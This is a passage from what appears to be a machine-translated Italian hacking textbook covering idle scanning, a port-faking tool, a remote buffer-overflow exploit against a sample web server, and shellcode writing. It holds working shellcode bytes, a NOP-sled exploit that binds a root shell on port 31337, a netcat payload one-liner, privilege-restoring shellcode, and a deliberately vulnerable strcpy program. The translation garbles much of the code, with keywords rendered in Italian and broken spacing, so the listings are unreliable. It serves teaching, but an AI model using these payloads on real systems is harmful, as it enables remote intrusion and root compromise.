packet, questa risposta sembra non essere richiesta all'host inattivo e
risponde restituendo un pacchetto RST.
Se quella porta non è in ascolto, la macchina di destinazione non invia un SYN / ACK
packet torna all'host inattivo, quindi l'host inattivo non risponde.
Networking 265
Pagina 280
A questo punto, l'aggressore contatta nuovamente l'host inattivo per determinare come
molto l'ID IP è aumentato. Se è aumentato solo di un intervallo,
nessun altro pacchetto è stato inviato dall'host inattivo tra i due controlli. Questo
implica che la porta sulla macchina di destinazione sia chiusa. Se l'ID IP ha incrementi
indicato da due intervalli, è stato inviato un pacchetto, presumibilmente un pacchetto RST
dalla macchina inattiva tra i controlli. Ciò implica che la porta su
la macchina di destinazione è aperta.
I passaggi sono illustrati nella pagina successiva per entrambi i possibili risultati.
Naturalmente, se l'host inattivo non è veramente inattivo, i risultati saranno distorti. Se
c'è poco traffico sull'host inattivo, è possibile inviare più pacchetti per ciascuno
porta. Se vengono inviati 20 pacchetti, dovrebbe essere una modifica di 20 passaggi incrementali
un'indicazione di un porto aperto e nessuno di un porto chiuso. Anche se c'è
traffico leggero, come uno o due pacchetti non correlati alla scansione inviati dall'idle
host, questa differenza è abbastanza grande da poter essere ancora rilevata.
Se questa tecnica viene utilizzata correttamente su un host inattivo che non ne ha
capacità di registrazione, l'attaccante può scansionare qualsiasi bersaglio senza mai rivelarlo
il suo indirizzo IP.
Dopo aver trovato un host inattivo adatto, è possibile eseguire questo tipo di scansione
nmap utilizzando l' opzione della riga di comando -sI seguita dall'indirizzo dell'host inattivo:
2 1
Bersaglio
SYN
Spoofed con host inattivo
come indirizzo di origine
Bersaglio
266 0x400
Pagina 281
Networking 267
Pagina 282
shroud.c
#include <libnet.h>
#include <pcap.h>
#include "hacking.h"
#define MAX_EXISTING_PORTS 30
struct data_pass {
int libnet_handle;
pacchetto u_char *;
};
268 0x400
Pagina 283
porte_esistenti [argc-2] = 0;
libnet_seed_prand ();
Networking 269
Pagina 284
strcat (filter_string, "tcp [tcpflags] & tcp-syn! = 0 e tcp [tcpflags] & tcp-ack = 0");
void catch_packet (u_char * user_args, const struct pcap_pkthdr * cap_header, const u_char
*pacchetto) {
u_char * pkt_data;
struct libnet_ip_hdr * IPhdr;
struct libnet_tcp_hdr * TCPhdr;
struct data_pass * passato;
int bcount;
passato = (struct data_pass *) user_args; // Passa i dati utilizzando un puntatore a una struttura
libnet_build_tcp (htons (TCPhdr-> th_dport), // Porta TCP di origine (fai finta di essere dst)
htons (TCPhdr-> th_sport), // Porta TCP di destinazione (rimandare a src)
htonl (TCPhdr-> th_ack), // Numero di sequenza (usa ack precedente)
htonl ((TCPhdr-> th_seq) + 1), // Numero di riconoscimento (numero di sequenza di SYN + 1)
TH_SYN | TH_ACK, // Flag di controllo (solo flag RST impostato)
libnet_get_prand (LIBNET_PRu16), // Dimensione finestra (randomizzata)
0, // Puntatore urgente
270 0x400
Pagina 285
Ci sono alcune parti complicate nel codice sopra, ma dovresti essere in grado di farlo
segui tutto. Quando il programma viene compilato ed eseguito, coprirà il file
Indirizzo IP fornito come primo argomento, ad eccezione di un elenco di file esistenti
porte fornite come argomenti rimanenti.
reader @ hacking: ~ / booksrc $ gcc $ (libnet-config --defines) -o shroud shroud.c -lnet -lpcap
reader @ hacking: ~ / booksrc $ sudo ./shroud 192.168.42.72 22 80
DEBUG: la stringa del filtro è 'dst host 192.168.42.72 e tcp [tcpflags] & tcp-syn! = 0 e
tcp [tcpflags] & tcp-ack = 0 e non (dst port 22 o dst port 80) "
Mentre shroud è in esecuzione, qualsiasi tentativo di scansione delle porte mostrerà ogni porta
essere aperti.
Networking 271
Pagina 286
[output tagliato]
L'unico servizio che è effettivamente in esecuzione è ssh sulla porta 22, ma è nascosto
in un mare di falsi positivi. Un utente malintenzionato dedicato potrebbe semplicemente telnet a tutti
port per controllare i banner, ma questa tecnica potrebbe essere facilmente estesa a
anche banner contraffatti.
Da hacking-network.h
ptr = dest_buffer;
272 0x400
Pagina 287
Networking 273
Pagina 288
(gdb) bt
# 0 0xb7fe77f2 in ?? ()
# 1 0xb7f691e1 in ?? ()
# 2 0x08048ccf in main () su tinyweb.c: 44
(gdb) list 44
39 if (ascolta (sockfd, 20) == -1)
40 fatal ("ascolto sul socket");
41
42 while (1) {// Accetta il ciclo
43 sin_size = sizeof (struct sockaddr_in);
44 new_sockfd = accept (sockfd, (struct sockaddr *) & client_addr, & sin_size);
45 if (new_sockfd == -1)
46 fatale ("accettazione della connessione");
47
48 handle_connection (new_sockfd, & client_addr);
(gdb) list handle_connection
53 / * Questa funzione gestisce la connessione sul socket passato da
54 * ha passato l'indirizzo del cliente. La connessione viene elaborata come richiesta web
55 * e questa funzione risponde tramite la presa collegata. Infine, il
56 * Il socket passato viene chiuso alla fine della funzione.
57 * /
58 void handle_connection (int sockfd, struct sockaddr_in * client_addr_ptr) {
59 char senza segno * ptr, richiesta [500], risorsa [500];
60 int fd, length;
61
62 length = recv_line (sockfd, richiesta);
(gdb) break 62
Punto di interruzione 1 in 0x8048d02: file tinyweb.c, riga 62.
(gdb) cont
Continuando.
274 0x400
Pagina 289
$ 1 = 540
(gdb) p / x 0xbffff5c0 + 200
$ 2 = 0xbffff688
(gdb) esci
Il programma è in esecuzione. Chiudere comunque (e staccarlo)? (y o n) y
Scollegamento dal programma:, elaborare 13019
lettore @ hacking: ~ / booksrc $
tinyweb_exploit.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys / socket.h>
#include <netinet / in.h>
#include <arpa / inet.h>
#include <netdb.h>
#include "hacking.h"
#include "hacking-network.h"
char shellcode [] =
"\ x31 \ xc0 \ x31 \ xdb \ x31 \ xc9 \ x99 \ xb0 \ xa4 \ xcd \ x80 \ x6a \ x0b \ x58 \ x51 \ x68"
"\ x2f \ x2f \ x73 \ x68 \ x68 \ x2f \ x62 \ x69 \ x6e \ x89 \ xe3 \ x51 \ x89 \ xe2 \ x53 \ x89"
"\ xe1 \ xcd \ x80"; // Shellcode standard
Networking 275
Pagina 290
if (argc <2) {
printf ("Utilizzo:% s <hostname> \ n", argv [0]);
uscita (1);
}
target_addr.sin_family = AF_INET;
target_addr.sin_port = htons (80);
target_addr.sin_addr = * ((struct in_addr *) host_info-> h_addr);
memset (& (target_addr.sin_zero), '\ 0', 8); // Azzera il resto della struttura.
if (connect (sockfd, (struct sockaddr *) & target_addr, sizeof (struct sockaddr)) == -1)
fatale ("connessione al server di destinazione");
uscita (0);
}
Quando questo programma viene compilato, può sfruttare in remoto gli host in esecuzione
il programma tinyweb, inducendoli a eseguire lo shellcode. L'exploit
inoltre scarica i byte dell'exploit buffer prima di inviarlo. Nell'output
sotto, il programma tinyweb viene eseguito in un terminale diverso e l'exploit è
testato contro di esso. Ecco l'output dal terminale dell'aggressore:
276 0x400
Pagina 291
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 31 c0 31 db | ............ 1.1.
31 c9 99 b0 a4 cd 80 6a 0b 58 51 68 2f 2f 73 68 | 1 ...... j.XQh // sh
68 2f 62 69 6e 89 e3 51 89 e2 53 89 e1 cd 80 90 | h / bin..Q..S .....
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 88 f6 ff bf | ................
0d 0a | ..
lettore @ hacking: ~ / booksrc $
111 j
XQh // shh / bin QS
"
NON HTTP!
sh-3.2 #
Networking 277
Pagina 292
Dopo un po 'di formattazione veloce, questi byte vengono scambiati nello shellcode
byte del programma tinyweb_exploit.c, risultando in tinyweb_exploit2.c. Il
la nuova riga dello shellcode è mostrata di seguito.
char shellcode [] =
"\ x6a \ x66 \ x58 \ x99 \ x31 \ xdb \ x43 \ x52 \ x6a \ x01 \ x6a \ x02 \ x89 \ xe1 \ xcd \ x80"
"\ x96 \ x6a \ x66 \ x58 \ x43 \ x52 \ x66 \ x68 \ x7a \ x69 \ x66 \ x53 \ x89 \ xe1 \ x6a \ x10"
"\ x51 \ x56 \ x89 \ xe1 \ xcd \ x80 \ xb0 \ x66 \ x43 \ x43 \ x53 \ x56 \ x89 \ xe1 \ xcd \ x80"
"\ xb0 \ x66 \ x43 \ x52 \ x52 \ x56 \ x89 \ xe1 \ xcd \ x80 \ x93 \ x6a \ x02 \ x59 \ xb0 \ x3f"
"\ xcd \ x80 \ x49 \ x79 \ xf9 \ xb0 \ x0b \ x52 \ x68 \ x2f \ x2f \ x73 \ x68 \ x68 \ x2f \ x62"
"\ x69 \ x6e \ x89 \ xe3 \ x52 \ x89 \ xe2 \ x53 \ x89 \ xe1 \ xcd \ x80";
// Shellcode di associazione alla porta sulla porta 31337
278 0x400
Pagina 293
Quando questo exploit viene compilato ed eseguito su un host che esegue tinyweb
server, lo shellcode ascolta sulla porta 31337 una connessione TCP. Nel
output di seguito, un programma chiamato nc viene utilizzato per connettersi alla shell. Questo pro
gram è netcat ( nc in breve), che funziona come quel programma cat ma su
Rete. Non possiamo semplicemente usare telnet per connetterci poiché termina automaticamente
tutte le linee in uscita con "\ r \ n" . L'output di questo exploit è mostrato di seguito. Il
L' opzione della riga di comando -vv passata a netcat serve solo per renderlo più dettagliato.
Networking 279
Pagina 294
Anche se la shell remota non visualizza un prompt, accetta comunque
comanda e restituisce l'output sulla rete.
Un programma come netcat può essere utilizzato per molte altre cose. È progettato per
funziona come un programma di console, consentendo il piping dell'input e dell'output standard
e reindirizzato. Utilizzando netcat e lo shellcode di associazione della porta in un file, lo stesso
l'exploit può essere eseguito dalla riga di comando.
jfX1CRj j jfXC
RfhzifS j QV fCCSV fCRRV j Y? Iy
Rh // shh / bin RS
reader @ hacking: ~ / booksrc $ (perl -e 'print "\ x90" x300'; cat portbinding_shellcode;
perl -e 'print "\ x88 \ xf6 \ xff \ xbf" x38. "\ r \ n" ') | nc -v -w1 127.0.0.1 80
localhost [127.0.0.1] 80 (www) aperto
lettore @ hacking: ~ / booksrc $ nc -v 127.0.0.1 31337
localhost [127.0.0.1] 31337 (?) aperto
chi sono
radice
280 0x400
Pagina 295
0x500 SHELLCODE
helloworld.c
#include <stdio.h>
int main () {
printf ("Ciao, mondo! \ n");
return 0;
}
282 0x500
Pagina 297
Come puoi vedere, il programma compilato non si limita a stampare una stringa.
Le chiamate di sistema all'inizio stanno impostando l'ambiente e la memoria
per il programma, ma la parte importante è la syscall write () mostrata in grassetto.
Questo è ciò che effettivamente restituisce la stringa.
Le pagine di manuale di Unix (accessibili con il comando man ) sono separate
arato in sezioni. La sezione 2 contiene le pagine di manuale per le chiamate di sistema,
quindi man 2 write descriverà l'uso della chiamata di sistema write () :
NOME
write - scrive in un descrittore di file
SINOSSI
#include <unistd.h>
ssize_t write (int fd, const void * buf, size_t count);
DESCRIZIONE
write () scrive fino a contare byte nel file a cui fa riferimento il file
descrittore fd dal buffer a partire da buf. POSIX richiede che a
read () che può essere provato dopo che un write () restituisce il nuovo
dati. Notare che non tutti i file system sono conformi a POSIX.
Shellcode 283
Pagina 298
Da /usr/include/unistd.h
La scrittura di byte nel descrittore di file 1 dello standard output stamperà i byte;
la lettura dal descrittore di file dello standard input di 0 introdurrà byte. Lo standard
il descrittore di file di errore 2 viene utilizzato per visualizzare i messaggi di errore o di debug
che può essere filtrato dallo standard output.
Da /usr/include/asm-i386/unistd.h
#ifndef _ASM_I386_UNISTD_H_
#define _ASM_I386_UNISTD_H_
/*
* Questo file contiene i numeri di chiamata di sistema.
*/
#define __NR_restart_syscall 0
#define __NR_exit 1
#define __NR_fork 2
#define __NR_read 3
#define __NR_write 4
#define __NR_open 5
#define __NR_close 6
#define __NR_waitpid 7
#define __NR_creat 8
#define __NR_link 9
#define __NR_unlink 10
#define __NR_execve 11
#define __NR_chdir 12
#define __NR_time 13
#define __NR_mknod 14
#define __NR_chmod 15
#define __NR_lchown 16
#define __NR_break 17
#define __NR_oldstat 18
#define __NR_lseek 19
#define __NR_getpid 20
#define __NR_mount 21
#define __NR_umount 22
#define __NR_setuid 23
#define __NR_getuid 24
284 0x500
Pagina 299
#define __NR_stime 25
#define __NR_ptrace 26
#define __NR_alarm 27
#define __NR_oldfstat 28
#define __NR_pause 29
#define __NR_utime 30
#define __NR_stty 31
#define __NR_gtty 32
#define __NR_access 33
#define __NR_nice 34
#define __NR_ftime 35
#define __NR_sync 36
#define __NR_kill 37
#define __NR_rename 38
#define __NR_mkdir 39
...
Per la nostra riscrittura di helloworld.c in assembly, effettueremo una chiamata di sistema a
la funzione write () per l'output e poi una seconda chiamata di sistema a exit ()
quindi il processo si chiude in modo pulito. Questo può essere fatto in x 86 assembly usando solo due
istruzioni di montaggio: mov e int .
Le istruzioni di assemblaggio per il processore x 86 hanno una, due, tre o no
operandi. Gli operandi di un'istruzione possono essere valori numerici, memoria
indirizzi o registri del processore. Il processore x 86 ha diversi registri a 32 bit
che possono essere visualizzati come variabili hardware. I registri EAX, EBX, ECX, EDX,
ESI, EDI, EBP e ESP possono essere tutti usati come operandi, mentre il registro EIP
(puntatore di esecuzione) non può.
L' istruzione mov copia un valore tra i suoi due operandi. Utilizzando Intel
sintassi assembly, il primo operando è la destinazione e il secondo è il file
fonte. L' istruzione int invia un segnale di interrupt al kernel, definito
dal suo singolo operando. Con il kernel Linux, viene utilizzato l' interrupt 0x80 per dire
il kernel per effettuare una chiamata di sistema. Quando viene eseguita l'istruzione int 0x80 , il file
kernel effettuerà una chiamata di sistema basata sui primi quattro registri. Il registro EAX
viene utilizzato per specificare quale chiamata di sistema effettuare, mentre EBX, ECX e EDX
i registri vengono utilizzati per contenere il primo, il secondo e il terzo argomento del sistema
chiamata. Tutti questi registri possono essere impostati utilizzando l' istruzione mov .
Nel seguente listato di codice assembly, i segmenti di memoria sono semplicemente
dichiarato. La stringa "Hello, world!" con un carattere di nuova riga ( 0x0a ) è nel file
segmento di dati e le istruzioni di assemblaggio effettive si trovano nel segmento di testo.
Questo segue le corrette pratiche di segmentazione della memoria.
helloworld.asm
_inizio:
Shellcode 285
Pagina 300
Questo minuscolo programma funziona, ma non è uno shellcode, poiché non è autonomo
e deve essere collegato.
286 0x500
Pagina 301
In shellcode, i byte per la stringa "Hello, world!" deve essere miscelato
insieme ai byte per le istruzioni di montaggio, poiché non ci sono
segmenti di memoria definibili o prevedibili. Questo va bene finché EIP non lo fa
prova a interpretare la stringa come istruzioni. Tuttavia, per accedere alla stringa come dati
abbiamo bisogno di un puntatore ad esso. Quando lo shellcode viene eseguito, potrebbe essere qualsiasi-
dove in memoria. L'indirizzo di memoria assoluto della stringa deve essere calcolato
lated rispetto a EIP. Poiché non è possibile accedere a EIP dalle istruzioni di montaggio,
tuttavia, dobbiamo usare una sorta di trucco.
Istruzioni Descrizione
chiama <location> Chiama una funzione, saltando l'esecuzione all'indirizzo nella posizione
operando. Questa posizione può essere relativa o assoluta. L'indirizzo del
l'istruzione che segue la chiamata viene inserita nello stack, in modo che l'esecuzione possa
tornare più tardi.
Gli exploit basati su stack sono resi possibili dalle istruzioni call e ret .
Quando viene chiamata una funzione, viene inserito l'indirizzo di ritorno dell'istruzione successiva
allo stack, iniziando dallo stack frame. Dopo che la funzione è terminata, il ret
l'istruzione estrae l'indirizzo del mittente dallo stack e riporta EIP lì.
Sovrascrivendo l'indirizzo del mittente memorizzato sullo stack prima dell'istruzione ret
possiamo prendere il controllo dell'esecuzione di un programma.
Questa architettura può essere utilizzata in modo improprio in un altro modo per risolvere il problema di
indirizzare i dati della stringa in linea. Se la stringa viene inserita direttamente dopo una chiamata
istruzione, l'indirizzo della stringa verrà inserito nello stack come ritorno
indirizzo. Invece di chiamare una funzione, possiamo saltare la stringa in un pop
istruzione che toglierà l'indirizzo dallo stack e lo inserirà in un registro. Il
le seguenti istruzioni di montaggio dimostrano questa tecnica.
helloworld1.s
mark_below:
; ssize_t write (int fd, const void * buf, size_t count);
pop ecx ; Inserisci l'indirizzo del mittente (stringa ptr) in ecx.
mov eax, 4 ; Scrivi syscall #.
mov ebx, 1 ; Descrittore di file STDOUT
Shellcode 287
Pagina 302
288 0x500
Pagina 303
Fallimento. Perché pensi che si sia schiantato? In situazioni come questa, GDB è il tuo
migliore amico. Anche se conosci già il motivo di questo incidente specifico,
imparare a usare efficacemente un debugger ti aiuterà a risolverne molti altri
problemi in futuro.
Shellcode 289
Pagina 304
Una volta caricato GDB, lo stile di disassemblaggio passa a Intel. Da quando noi
stanno eseguendo GDB come root, il file .gdbinit non verrà utilizzato. La memoria dove
lo shellcode dovrebbe essere esaminato. Le istruzioni sembrano errate, ma è così
sembra che la prima istruzione di chiamata errata sia ciò che ha causato il crash. Almeno,
l'esecuzione è stata reindirizzata, ma qualcosa è andato storto con i byte dello shellcode.
Normalmente, le stringhe sono terminate da un byte nullo, ma qui la shell è stata gentile
abbastanza per rimuovere questi byte nulli per noi. Questo, tuttavia, distrugge totalmente il file
significato del codice macchina. Spesso, lo shellcode viene iniettato in un processo
come una stringa, utilizzando funzioni come strcpy () . Tali funzioni verranno semplicemente terminate
al primo byte nullo, producendo uno shellcode incompleto e inutilizzabile in mem-
ory. Affinché lo shellcode sopravviva al transito, deve essere riprogettato in questo modo
non contiene byte nulli.
290 0x500
Pagina 305
il che significa che un valore piccolo come 19 dovrà essere riempito con interlinea
zeri risultanti in byte nulli.
Un modo per aggirare questo problema sfrutta il complemento a due. UN
un numero negativo piccolo avrà i suoi bit iniziali attivati, risultando in 0xff
byte. Ciò significa che, se chiamiamo utilizzando un valore negativo per tornare indietro
esecuzione, il codice macchina per quell'istruzione non avrà byte nulli.
La seguente revisione dello shellcode helloworld utilizza un implementatore standard-
zazione di questo trucco: salta alla fine dello shellcode a un'istruzione di chiamata che,
a sua volta, tornerà a un'istruzione pop all'inizio dello shellcode.
helloworld2.s
Due:
; ssize_t write (int fd, const void * buf, size_t count);
pop ecx ; Inserisci l'indirizzo del mittente (stringa ptr) in ecx.
mov eax, 4 ; Scrivi syscall #.
mov ebx, 1 ; Descrittore di file STDOUT
mov edx, 15; Lunghezza della stringa
int 0x80 ; Esegui syscall: scrivi (1, stringa, 14)
uno:
chiamare due; Richiama verso l'alto per evitare byte nulli
db "Hello, world!", 0x0a, 0x0d; con newline e byte di ritorno a capo.
Dopo aver assemblato questo nuovo codice shell, il disassemblaggio mostra che la chiamata
l'istruzione (mostrata in corsivo sotto) è ora priva di byte nulli. Questo risolve il problema
primo e più difficile problema null-byte per questo shellcode, ma ci sono ancora
molti altri byte nulli (mostrati in grassetto).
Shellcode 291
Pagina 306
00000029 6F outsd
0000002A 2C20 sub al, 0x20
0000002C 776F ja 0x9d
0000002E 726C jc 0x9c
00000030 64210A e [fs: edx], ecx
00000033 0D db 0x0D
lettore @ hacking: ~ / booksrc $
Questi byte nulli rimanenti possono essere eliminati con una comprensione di
larghezze di registro e indirizzamento. Si noti che la prima istruzione jmp è effettivamente
jmp short . Ciò significa che l'esecuzione può saltare solo un massimo di circa
128 byte in entrambe le direzioni. La normale istruzione jmp , così come la chiamata
istruzione (che non ha una versione breve), consente salti molto più lunghi. Il
la differenza tra il codice macchina assemblato per le due varietà di salto è
mostrato di seguito:
contro
E9 1E 00 00 00 jmp 0x23
I registri EAX, EBX, ECX, EDX, ESI, EDI, EBP e ESP sono a 32 bit
in larghezza. La E sta per esteso , perché originariamente erano reg-
si chiamano AX, BX, CX, DX, SI, DI, BP e SP. Queste versioni originali a 16 bit
dei registri può ancora essere utilizzato per accedere ai primi 16 bit di ogni corrispondente
registro a 32 bit sponding. Inoltre, i singoli byte di AX, BX, CX,
e ai registri DX è possibile accedere come registri a 8 bit chiamati AL, AH, BL, BH, CL,
CH, DL e DH, dove L sta per byte basso e H per byte alto . Naturalmente,
le istruzioni di assemblaggio che utilizzano i registri più piccoli devono solo specificare gli operandi
fino alla larghezza di bit del registro. Le tre varianti di un'istruzione mov sono
mostrato sotto.
292 0x500
Pagina 307
Istruzioni Descrizione
Le poche istruzioni successive, come l' istruzione mov , hanno due operandi.
Fanno tutti semplici operazioni aritmetiche e logiche bit per bit tra i due
operandi, memorizzando il risultato nel primo operando.
Istruzioni Descrizione
add <dest>, <source> Aggiunge l'operando di origine all'operando di destinazione, memorizzando il risultato
nella destinazione.
sub <dest>, <source> Sottrae l'operando di origine dall'operando di destinazione, memorizzando il file
risultato nella destinazione.
o <dest>, <source> Eseguire un'operazione bit per bit o logica, confrontando ogni bit di uno
operando con il bit corrispondente dell'altro operando.
1o0=1
1o1=1
0o1=1
0o0=0
e <dest>, <source> Esegue un'operazione logica e bit per bit, confrontando ogni bit di uno
operando con il bit corrispondente dell'altro operando.
1o0=0
1o1=1
0o1=0
0o0=0
Il bit di risultato è attivo solo se sia il bit di origine che il bit di destinazione
sono su. Il risultato finale viene memorizzato nell'operando di destinazione.
xor <dest>, <source> Esegue un'operazione logica esclusiva bit per bit o (xor), confrontandoli
bit di un operando con il bit corrispondente dell'altro operando.
1o0=1
1o1=0
0o1=1
0o0=0
Se i bit differiscono, il bit del risultato è attivo; se i bit sono gli stessi, il risultato
bit è spento. Il risultato finale viene memorizzato nell'operando di destinazione.
Sebbene questa tecnica funzioni, occorrono 10 byte per azzerare un singolo registro,
rendendo lo shellcode assemblato più grande del necessario. Riesci a pensare a un modo
ottimizzare questa tecnica? Il valore DWORD specificato in ciascuna istruzione
Shellcode 293
Pagina 308
comprende l'80 percento del codice. Sottraendo qualsiasi valore a se stesso, inoltre,
duce 0 e non richiede dati statici. Questo può essere fatto con un singolo file
istruzione a due byte:
29 C0 sub eax, eax
Puoi tranquillamente usare l' istruzione secondaria per azzerare i registri (se eseguita nel file
all'inizio dello shellcode), ma l' istruzione xor è più comunemente usata
in shellcode in natura. La prossima revisione dello shellcode utilizza l'estensione
registri più piccoli e l' istruzione xor per evitare byte nulli. L' inc e dec
sono state utilizzate anche istruzioni, quando possibile, per renderle ancora più piccole
shellcode.
helloworld3.s
Due:
; ssize_t write (int fd, const void * buf, size_t count);
pop ecx ; Inserisci l'indirizzo del mittente (stringa ptr) in ecx.
xor eax, eax; Azzera 32 bit completi del registro eax.
mov al, 4 ; Scrivi syscall # 4 nel byte basso di eax.
xor ebx, ebx; Azzera ebx.
inc ebx ; Incrementa ebx a 1, descrittore di file STDOUT.
xor edx, edx
mov dl, 15 ; Lunghezza della stringa
int 0x80 ; Esegui syscall: scrivi (1, stringa, 14)
uno:
chiamare due; Richiama verso l'alto per evitare byte nulli
db "Hello, world!", 0x0a, 0x0d; con newline e byte di ritorno a capo.
294 0x500
Pagina 309
Dopo aver assemblato questo codice shell, hexdump e grep vengono utilizzati rapidamente
controllalo per byte nulli.
Ora questo codice shell è utilizzabile, poiché non contiene byte nulli. quando
usato con un exploit, il programma notesearch è costretto a salutare il file
mondo come un principiante.
NOME
execve - esegue il programma
SINOSSI
#include <unistd.h>
DESCRIZIONE
execve () esegue il programma puntato da filename. Il nome del file deve essere
un eseguibile binario o uno script che inizia con una riga di
forma "#! interprete [arg]". In quest'ultimo caso, l'interprete deve
essere un percorso valido per un eseguibile che non è esso stesso uno script,
che sarà invocato come interprete [arg] nomefile.
Shellcode 295
Pagina 310
passato come ambiente al nuovo programma. Sia argv che envp devono essere
terminato da un puntatore nullo. Il vettore argomento e l'ambiente possono
essere accessibile dalla funzione principale del programma chiamato, quando è definita
come int main (int argc, char * argv [], char * envp []).
Il primo argomento del nome del file dovrebbe essere un puntatore alla stringa
, poiché questo è ciò che vogliamo eseguire. L'array dell'ambiente—
"/ bin / sh"
il terzo argomento — può essere vuoto, ma deve comunque essere terminato con a
Puntatore null a 32 bit. L'array di argomenti, il secondo argomento, deve essere nullo
anche terminato; deve contenere anche il puntatore a stringa (dato che lo zero
argomento è il nome del programma in esecuzione). Fatto in C, un programma
fare questa chiamata sarebbe simile a questo:
exec_shell.c
#include <unistd.h>
int main () {
char nomefile [] = "/ bin / sh \ x00";
char ** argv, ** envp; // Array che contengono puntatori a caratteri
Per fare ciò in assembly, gli array di argomenti e di ambiente devono essere
Memoria integrata. Inoltre, la stringa "/ bin / sh" deve essere terminata con
un byte nullo. Anche questo deve essere costruito nella memoria. Trattare con la memoria in
assembly è simile all'uso dei puntatori in C. L' istruzione lea , il cui nome
sta per load effect address , funziona come l' operatore address-of in C.
Istruzioni Descrizione
lea <dest>, <source> Carica l'indirizzo effettivo dell'operando di origine nella destinazione
operando.
Con la sintassi dell'assembly Intel, gli operandi possono essere dereferenziati come puntatori se
sono racchiusi tra parentesi quadre. Ad esempio, la seguente istruzione
in assembly tratterà EBX + 12 come un puntatore e scriverà eax dove sta puntando.
Il seguente codice di shell usa queste nuove istruzioni per costruire il file execve ()
argomenti in memoria. L'array dell'ambiente è compresso alla fine di
l'array degli argomenti, quindi condividono lo stesso terminatore null a 32 bit.
296 0x500
Pagina 311
exec_shell.s
BITS 32
Due:
chiamane uno ; Usa una chiamata per ottenere l'indirizzo della stringa.
db '/ bin / shXAAAABBBB'; I byte XAAAABBBB non sono necessari.
Shellcode 297
Pagina 312
sh-3.2 # whoami
radice
sh-3.2 #
Questo codice shell, tuttavia, può essere ridotto a un valore inferiore a quello corrente
45 byte. Poiché lo shellcode deve essere iniettato nella memoria del programma
dove, uno shellcode più piccolo può essere utilizzato in situazioni di exploit più stretto con file
buffer utilizzabili. Più piccolo è lo shellcode, più situazioni può essere utilizzato
Ovviamente, il supporto visivo XAAAABBBB può essere ritagliato dalla fine del file
stringa, che porta lo shellcode a 36 byte.
tiny_shell.s
BITS 32
; execve (const char * filename, char * const argv [], char * const envp [])
xor eax, eax; Zero out eax.
spingere eax ; Spingere alcuni valori nulli per la terminazione della stringa.
push 0x68732f2f; Spingere "// sh" nello stack.
push 0x6e69622f; Spingere "/ bin" nella pila.
mov ebx, esp; Inserisci l'indirizzo di "/ bin // sh" in ebx, tramite esp.
spingere eax ; Spingere il terminatore null a 32 bit per impilare.
mov edx, esp; Questo è un array vuoto per envp.
push ebx ; Spingere la stringa addr per impilare sopra il terminatore nullo.
mov ecx, esp; Questo è l'array argv con la stringa ptr.
mov al, 11 ; Syscall # 11.
int 0x80 ; Fallo.
Questo codice shell crea la stringa con terminazione null "/ bin // sh" sullo stack,
e quindi copia ESP per il puntatore. La barra rovesciata extra non ha importanza e
viene effettivamente ignorato. Lo stesso metodo viene utilizzato per creare gli array per
argomenti rimanenti. Lo shellcode risultante genera ancora una shell ma è solo
25 byte, rispetto ai 36 byte utilizzando il metodo di chiamata jmp .
298 0x500
Pagina 313
NOME
seteuid, setegid - imposta l'ID utente o gruppo effettivo
SINOSSI
#include <sys / types.h>
#include <unistd.h>
DESCRIZIONE
seteuid () imposta l'ID utente effettivo del processo corrente.
I processi utente senza privilegi possono impostare solo l'ID utente effettivo su
ID per l'ID utente reale, l'ID utente effettivo o l'ID utente impostato salvato.
Esattamente lo stesso vale per setegid () con "gruppo" invece di "utente".
VALORE DI RITORNO
In caso di successo, viene restituito zero. In caso di errore, viene restituito -1 e errno lo è
impostato in modo appropriato.
Questa funzione viene utilizzata dal codice seguente per eliminare i privilegi
quelli dell'utente "giochi" prima della chiamata vulnerabile di strcpy () .
Shellcode 299
Pagina 314
drop_privs.c
#include <unistd.h>
void lowered_privilege_function (unsigned char * ptr) {
buffer di caratteri [50];
seteuid (5); // Lascia i privilegi all'utente dei giochi.
strcpy (buffer, ptr);
}
int main (int argc, char * argv []) {
if (argc> 0)
lowered_privilege_function (argv [1]);
}
NOME
setresuid, setresgid - imposta l'ID utente o gruppo reale, effettivo e salvato
SINOSSI
#define _GNU_SOURCE
#include <unistd.h>
300 0x500
Pagina 315
DESCRIZIONE
setresuid () imposta l'ID utente reale, l'ID utente effettivo e il file
set-user-ID del processo corrente.
Il seguente codice shell effettua una chiamata a setresuid () prima di generare il file
shell per ripristinare i privilegi di root.
priv_shell.s
BITS 32
; execve (const char * filename, char * const argv [], char * const envp [])
xor eax, eax; Assicurati che eax sia di nuovo azzerato.
mov al, 11 ; syscall # 11
push ecx ; spingere alcuni valori nulli per la terminazione della stringa.
push 0x68732f2f; spingere "// sh" nello stack.
push 0x6e69622f; spingere "/ bin" nella pila.
mov ebx, esp; Inserisci l'indirizzo di "/ bin // sh" in ebx tramite esp.
